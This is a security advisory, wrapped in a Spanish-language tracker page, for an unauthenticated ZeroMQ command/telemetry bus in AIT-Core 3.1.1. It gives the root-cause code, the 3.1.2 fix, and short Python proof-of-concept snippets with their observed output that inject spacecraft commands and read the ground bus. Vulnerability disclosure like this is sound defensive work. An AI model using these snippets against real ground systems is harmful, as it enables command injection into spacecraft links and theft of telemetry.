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Advisory · GitHub · PyPI · ait-core

GHSA-CCW5-G774-3683

Unauthenticated ZeroMQ command/telemetry bus in AIT-Core allows remote spacecraft command injection and telemetry exfiltration

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CVSS
—
critical
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a 6 d de la divulgación
Exposición65 dDesde la divulgación, 16 sept 2026, 5:33 p. m.
Detección63 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (crítica) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Hoy no arde, pero ya hay humo.Agenda el parche antes del almuerzo, ¿sí?
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 3.1.2
Monitoreo
Detectada +1
16 sept 26
22 sept 26
3 oct 26
19 nov 26
21 nov 26
16 sept 26
3 oct 26
19 oct 26
5 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-CCW5-G774-3683 divulgada
Remediación Parche 3.1.2 ait-core · 6 d desde divulgación
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Weakness: CWE-306 Missing Authentication for a Critical Function
Affected: AIT-Core ≤ 3.1.1 (latest release / HEAD) — verified live on 3.1.1
Component: `ait.core.server` telemetry/command broker (`ait-server`)
Severity: Critical — CVSS 3.1 9.8 `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
Ecosystem note: same class as CVE-2026-60112 (AIT-GUI) and CVE-2026-60113 (AIT-DSN), in a distinct, unfixed component.

Summary

`ait-server` — the core telemetry/command server that every AIT deployment runs — binds its ZeroMQ message bus to all network interfaces (`0.0.0.0`) with no authentication of any kind (no ZMQ CURVE, no ZAP, no PLAIN, no token, no TLS). Any unauthenticated host that can reach TCP 5559 (the XSUB ingress) can publish onto the internal command topic, and with the shipped default configuration those bytes are forwarded to the `command_stream` and emitted on the spacecraft command-uplink UDP port (3075) — i.e. arbitrary command injection toward the spacecraft link. The same attacker can subscribe to TCP 5560 (XPUB) to exfiltrate all real-time telemetry passing over the ground bus, and can publish forged telemetry onto telemetry topics to spoof operator displays, limit checks, and the historian. This is exploitable with the shipped default configuration — the server's own purpose — and requires no plugin, credential, or user interaction.

Details (root cause, verified against 3.1.1)
  • The broker binds both bus sockets with no auth — `ait/core/server/broker.py:54-58`:
self.frontend = self.context.socket(zmq.XSUB)
self.frontend.bind(self.XSUB_URL)   # :55
self.backend  = self.context.socket(zmq.XPUB)
self.backend.bind(self.XPUB_URL)    # :58
  • The URLs default to all-interfaces — `ait/core/__init__.py:47-48`:
SERVER_DEFAULT_XSUB_URL = "tcp://*:5559"   # tcp://* == 0.0.0.0
SERVER_DEFAULT_XPUB_URL = "tcp://*:5560"

The shipped `config/config.yaml` does not override `server.xsub` / `server.xpub`, so defaults apply. No ZMQ CURVE/ZAP/PLAIN is configured anywhere in the tree.
- The broker is a raw XSUB→XPUB proxy (`broker.py:41-51`): any multipart message received on 5559 is forwarded to every matching subscriber on 5560.
- The shipped config subscribes an outbound stream to the command topic and emits it on the uplink UDP port — `config/config.yaml:164-168`:

outbound-streams:
  - stream:
      name: command_stream
      output: 3075                 # UDP command-uplink port
      command_subscriber: True

Default command topic = `__commands__` (`ait/core/__init__.py:38`). The broker auto-selects `command_stream` as the command subscriber (`broker.py:135-136`; observed at runtime: "command_stream was selected as the default").
- The stream forwards the payload verbatim onto UDP — `ait/core/server/client.py:142-144`:

def publish(self, msg):
    self.pub.sendto(msg, ("localhost", int(self.out_port)))   # -> UDP :3075

Data flow (unauthenticated attacker → spacecraft uplink): external ZMQ PUB → `tcp://TARGET:5559` (XSUB, `broker.py:55`) → proxy forward (`broker.py:47`) → XPUB 5560 → `command_stream` (subscribed `__commands__`, `broker.py:145`) → `Stream.process` → `PortOutputClient.publish` (`client.py:143`) → UDP `:3075` command uplink.

Signal that this is an oversight, not intended: the inbound UDP telemetry listeners were deliberately restricted to loopback (`client.py:33-34` forces `127.0.0.1`; `api.py:548-549`), but the far more powerful ZMQ command/telemetry bus was left on `tcp://*`.

PoC (live, AIT-Core 3.1.1, shipped default config)

Start the server (its normal operation): `ait-server`. It binds:

$ ss -ltnp | grep -E ':5559|:5560'
LISTEN 0 100 0.0.0.0:5559  users:(("ait-server",...))
LISTEN 0 100 0.0.0.0:5560  users:(("ait-server",...))

(a) Unauthenticated command injection — a UDP listener on the uplink port (3075) stands in for the spacecraft link:

import zmq, msgpack, time
s = zmq.Context().socket(zmq.PUB)
s.connect("tcp://TARGET:5559")                 # no credentials
time.sleep(2)                                  # allow subscription propagation
s.send_multipart([b"__commands__", msgpack.packb(b"\xde\xad\xbe\xef UNAUTH_CMD")])

Observed on UDP :3075:

[uplink-listener] >>> RECEIVED 35 bytes from ('127.0.0.1', 48723): b'\xde\xad\xbe\xef UNAUTH_INJECTED_SPACECRAFT_CMD'

(b) Unauthenticated telemetry exfiltration / bus read:

import zmq
s = zmq.Context().socket(zmq.SUB)
s.connect("tcp://TARGET:5560"); s.setsockopt_string(zmq.SUBSCRIBE, "")   # all topics, no creds
print(s.recv_multipart())      # every message on the ground bus

Observed:

[eavesdropper] >>> READ from ground bus: [b'__commands__', b'\xc4#\xde\xad\xbe\xef UNAUTH_INJECTED_SPACECRAFT_CMD']

(Publishing to a telemetry topic such as `__tlmpkts__` on 5559 additionally injects forged telemetry into operator displays, limit monitors, and the historian.) The wire format is msgpack (not pickle), so this is command/telemetry injection, not deserialization RCE.

Impact

Unauthenticated and network-reachable (bus bound to `0.0.0.0`), with the shipped default configuration:
1. Spacecraft command injection — inject arbitrary bytes onto the command-uplink path (same end-effect as CVE-2026-60112).
2. Telemetry exfiltration — read all real-time telemetry on the ground bus.
3. Telemetry spoofing — inject forged telemetry into operator displays, limit checks, and the historian.
4. Command-bus DoS.
The confidentiality, integrity, and availability of a spacecraft command/telemetry path are compromised. Precondition: only that `ait-server` is running (its core purpose) and TCP 5559/5560 are reachable — true with the shipped default `tcp://*` bind. No plugin, credential, or user interaction required.

### Patch
v3.1.2

Fix Details
  • Bind XSUB/XPUB to `127.0.0.1` by default (`ait/core/__init__.py:47-48` / `ZmqConfig`). The internal clients already connect over loopback (`api.py:147`, `:577`; `client.py:32`), so a loopback default is non-breaking.
  • For multi-host deployments, recommend ZeroMQ CURVE authentication/encryption (or front the bus with mTLS) rather than exposing a plaintext, unauthenticated bus.
  • Documented the bind address as a security-relevant setting.
Credit

Shukrulloh Raximov (Mothra)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
ait-core≤ 3.1.1
3.1.1
3.1.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypiait-core
Corregida 3.1.2 6 d 3.1.2 no afectada
Versiones corregidas3.1.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/NASA-AMMOS/AIT-Core/security/advisories/GHSA-ccw5-g774-3683

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